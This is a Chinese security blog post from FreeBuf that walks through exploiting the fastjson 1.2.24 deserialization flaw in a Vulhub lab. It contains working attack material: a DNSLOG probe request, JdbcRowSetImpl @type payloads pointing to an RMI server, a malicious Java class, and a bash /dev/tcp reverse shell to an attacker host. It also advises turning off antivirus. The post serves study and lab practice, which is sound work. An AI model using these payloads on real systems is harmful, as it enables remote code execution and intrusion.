freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

fastjson 1.2.24 反序列化导致任意命令执行漏洞
FreeBuf_457996 2024-06-03 13:44:26 164753

vulhub路径 : vulhub/fastjson/1.2.24-rce

一、漏洞背景

fastjson

fastjson用于java对象和json格式间的互相转换。fastjson引入autoType,即在序列化的时候把原始类型记录下来,使用@type表示。在解析json的过程中,使用autoType来实例化某一个具体的类,并调用该类的setter/getter方法来访问属性。利用fastjson autotype在处理json对象时,未对@type字段进行安全的安全性验证,攻击者可以传入危险类,并调用危险类连接远程RMI主机,通过其中的恶意类执行代码。

影响版本

Fastjson<1.2.25

二、利用DNSLOG进行漏洞验证

1、开启靶场环境:

docker compose up -d
docker ps                
CONTAINER ID   IMAGE                   COMMAND                 CREATED         STATUS         PORTS                                       NAMES
6fe8d8e3b864   vulhub/fastjson:1.2.24   "java -Dserver.addre…"   10 seconds ago   Up 9 seconds   0.0.0.0:8090->8090/tcp, :::8090->8090/tcp   1224-rce_web_1

环境运行后,访问http://your-ip:8090即可看到JSON格式的输出。

1717384435_665d34f3a773caf74e141.jpg!small?1717384436406

burpsuite抓包判断使用了fastjson组件。

1717384486_665d35268047cf2b56fcb.png!small?1717384487969

2、确定漏洞是否存在

  • 打开dnslog网址获取一个临时的域名ab9bc0b7.dnslog.store

1717384527_665d354fc47a567999f81.png!small?1717384530403

  • 然后在8090端口重新请求数据包,修改包的请求方式为POST,修改Content-Typeapplication/json,添加包体内容,参数val中的内容为域名地址ab9bc0b7.dnslog.store

POST / HTTP/1.1
Host: your-ip:8090
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/json
Content-Length: 71

{"tpa":{"@type":"java.net.Inet4Address","val":"ab9bc0b7.dnslog.store"}}
  • 查看dnslog网站,点击Get Results获取结果,可以看到靶机确实向平台发起了针对 ab9bc0b7.dnslog.store域名的请求,这说明了漏洞确实存在,我们可以控制目标服务器的行为。

1717384587_665d358be2d2570278a52.png!small?1717384588411

因为,fastjson autotype在处理json对象时,未对@type字段进行安全的安全性验证,验证漏洞的存在。进一步,攻击者可以传入危险类,并调用危险类连接远程RMI主机,通过其中的恶意类执行代码。

三、漏洞利用

1、环境:

docker 靶机:ip1:8090

虚拟机 centos7:jdk=1.8

攻击机 :ip2:8083

win10:jdk=1.8

宿主机,安装配置好java,python环境(或者apach环境)

虚拟机用NAT网卡模式,可以与宿主机互相通信(可以互相ping通)

靶场环境:ip3

2、编译恶意代码为class文件。

Python服务器(win/ip2:8083)上创建TouchFile.java,在cmd中执行javac TouchFile.java,得到.class文件。

// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;

public class TouchFile {
static {
 try {
     Runtime rt = Runtime.getRuntime();
     String[] commands = {"touch", "/tmp/success"};
     Process pc = rt.exec(commands);
     pc.waitFor();
} catch (Exception e) {
     // do nothing
}
}
}

打开phpstudy,开启apach服务,并将TouchFile.class文件放置在能访问到的目录中。这里选择的地址是:

1717384754_665d36323987deaac9d89.png!small?1717384756072

centos7服务器访问地址为 http://ip2:8083/TouchFile.class成功下载文件,表示资源可以被访问。

3、搭建RMI环境

借助marshalsec项目,启动一个RMI服务器,监听9999端口,并制定加载远程类TouchFile.class。方式:利用maven环境编译marshalsec工具,或者直接下载marshalsec-0.0.3-SNAPSHOT-all.jar

[root@bogon 下载 ]$ ls
cJSON __MACOSX marshalsec-0.0.3-SNAPSHOT-all.jar TouchFile.class
  • 启动RMI服务器,监听2335 端口,并指定加载远程类 TouchFile.class

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://ip2:8083/#TouchFile 2335

4、启动docker靶场

[root@bogon 下载 ]$ cd /var/local/soft/vulhub/fastjson/1.2.24-rce
[root@bogon 1.2.24-rce ]$ docker-compose up -d
Creating network "1224-rce_default" with the default driver
Creating 1224-rce_web_1 ... done

5、使用 burpsuite 构造恶意包,使其在 /tmp目录下生成success文件:

payload内容:

POST / HTTP/1.1
Host: ip1:8090
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Content-Length: 161

{
"b":{
 "@type":"com.sun.rowset.JdbcRowSetImpl",
 "dataSourceName":"rmi://ip2:2335/TouchFile",
 "autoCommit":true
}
}

1717384928_665d36e01385f5ec47b72.png!small?1717384928711

6、结果验证

  • rmi服务器显示有连接

1717385000_665d3728d98688c415423.png!small?1717385001325

  • 从虚拟机进入dokcer内部查看文件是否构建成功。

[root@bogon 1.2.24-rce ]$ docker ps
CONTAINER ID   IMAGE                   COMMAND                   CREATED         STATUS         PORTS                                       NAMES
ef5faef2c1df   vulhub/fastjson:1.2.24   "java -Dserver.addre…"   6 minutes ago   Up 6 minutes   0.0.0.0:8090->8090/tcp, :::8090->8090/tcp   1224-rce_web_1
[root@bogon 1.2.24-rce ]$ docker exec -it ef5faef2c1df bash
root@ef5faef2c1df:/# ls /tmp
hsperfdata_root success tomcat-docbase.7948629231789132954.8090 tomcat.3902379389831924638.8090
root@ef5faef2c1df:/#

7、尝试webshell

(1)创建shell.java,并执行javac shell.java进行编译,将生成的文件放入到指定目录下。

import java.lang.Runtime;
import java.lang.Process;
public class shell{
static {
 try {
     Runtime rt = Runtime.getRuntime();
     String[] commands = {"/bin/bash","-c","exec 5<>/dev/tcp/ip2/19527;cat <&5 | while read line; do $line 2>&5 >&5; done"};
     Process pc = rt.exec(commands);
     pc.waitFor();
} catch (Exception e) {
     // do nothing
}
}
}

(2)然后,在cmd中开启rmi服务:

1717385316_665d386421c005f07023b.png!small?1717385317035

(3)下载、配置环境变量并开启nc服务:

1717385328_665d38701ba393f841def.png!small?1717385328598

注意:如果电脑上开启火绒,需要关掉,否则会把nc文件给删除。

(4)在靶场中使用 burpsuite 发包,包体内容如下:

POST / HTTP/1.1
Host: ip1:8090
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/json
Content-Length: 0

{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://ip2:2335/shell",
"autoCommit":true
}
}

(5)结果验证:

rmi服务:

1717385380_665d38a48b9b2d3a5ef74.png!small?1717385381057

nc可以连接并执行命令:

1717393240_665d57583f7273ac99369.png!small?1717393240777

# 漏洞 # 网络安全
本文为 FreeBuf_457996 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
FreeBuf_457996 LV.1
这家伙太懒了,还未填写个人描述!
  • 1 文章数
  • 0 关注者
文章目录